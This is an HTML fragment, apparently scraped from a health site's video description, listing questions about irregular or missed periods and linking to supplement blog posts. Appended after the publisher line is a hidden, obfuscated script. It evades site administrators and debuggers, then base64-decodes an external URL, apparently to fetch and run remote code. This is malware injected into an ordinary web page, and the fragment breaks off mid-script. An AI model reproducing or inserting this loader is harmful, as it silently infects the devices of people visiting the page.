href=\"https:\/\/www.healthyvedics.com\/blog\/2021\/10\/14\/%e0%a4%ae%e0%a5%81%e0%a4%b2%e0%a5%87%e0%a4%a0%e0%a5%80-%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be-%e0%a4%b9%e0%a5%8b%e0%a4%a4%e0%a4%be-%e0%a4%b9%e0%a5%88-%e0%a4%ae%e0%a5%81%e0%a4%b2%e0%a5%87%e0%a4%a0\/\">https:\/\/www.healthyvedics.com\/blog\/2021\/10\/14\/<\/a><\/li>\n<li>benefits of Yohimbine :\u00a0<a href=\"https:\/\/www.healthyvedics.com\/blog\/2021\/10\/14\/%e0%a4%af%e0%a5%8b%e0%a4%b9%e0%a4%bf%e0%a4%ae%e0%a5%8d%e0%a4%ac%e0%a4%be%e0%a4%87%e0%a4%a8-%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be-%e0%a4%b9%e0%a5%8b%e0%a4%a4%e0%a4%be-%e0%a4%b9%e0%a5%88-%e0%a4%af\/\">https:\/\/www.healthyvedics.com\/blog\/2021\/10\/14\/<\/a><\/li>\n<li>benefits of Ashwagandha :\u00a0<a href=\"https:\/\/www.healthyvedics.com\/blog\/2021\/10\/09\/%e0%a4%85%e0%a4%b6%e0%a5%8d%e0%a4%b5%e0%a4%97%e0%a4%82%e0%a4%a7%e0%a4%be-%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be-%e0%a4%b9%e0%a5%8b%e0%a4%a4%e0%a4%be-%e0%a4%b9%e0%a5%88-%e0%a4%85%e0%a4%b6%e0%a5%8d\/\">https:\/\/www.healthyvedics.com\/blog\/2021\/10\/09\/<\/a><\/li>\n<\/ol>\n<p><strong>VISIT OUR WEBSITE :\u00a0<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<\/ol>\n<p><strong>This video Covers the information about:<\/strong><\/p>\n<p><span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What is the reason for not having periods for 3-4 months?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What causes delay in periods?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What disease occurs when periods do not come?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What to eat to make periods regular?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What should not be eaten during irregular periods?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">When does a late period become a missed period?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which disease is caused by irregular periods?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">How many days are irregular periods?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">By how many days can the period be delayed?<\/span><\/span><\/p>\n<p><strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof 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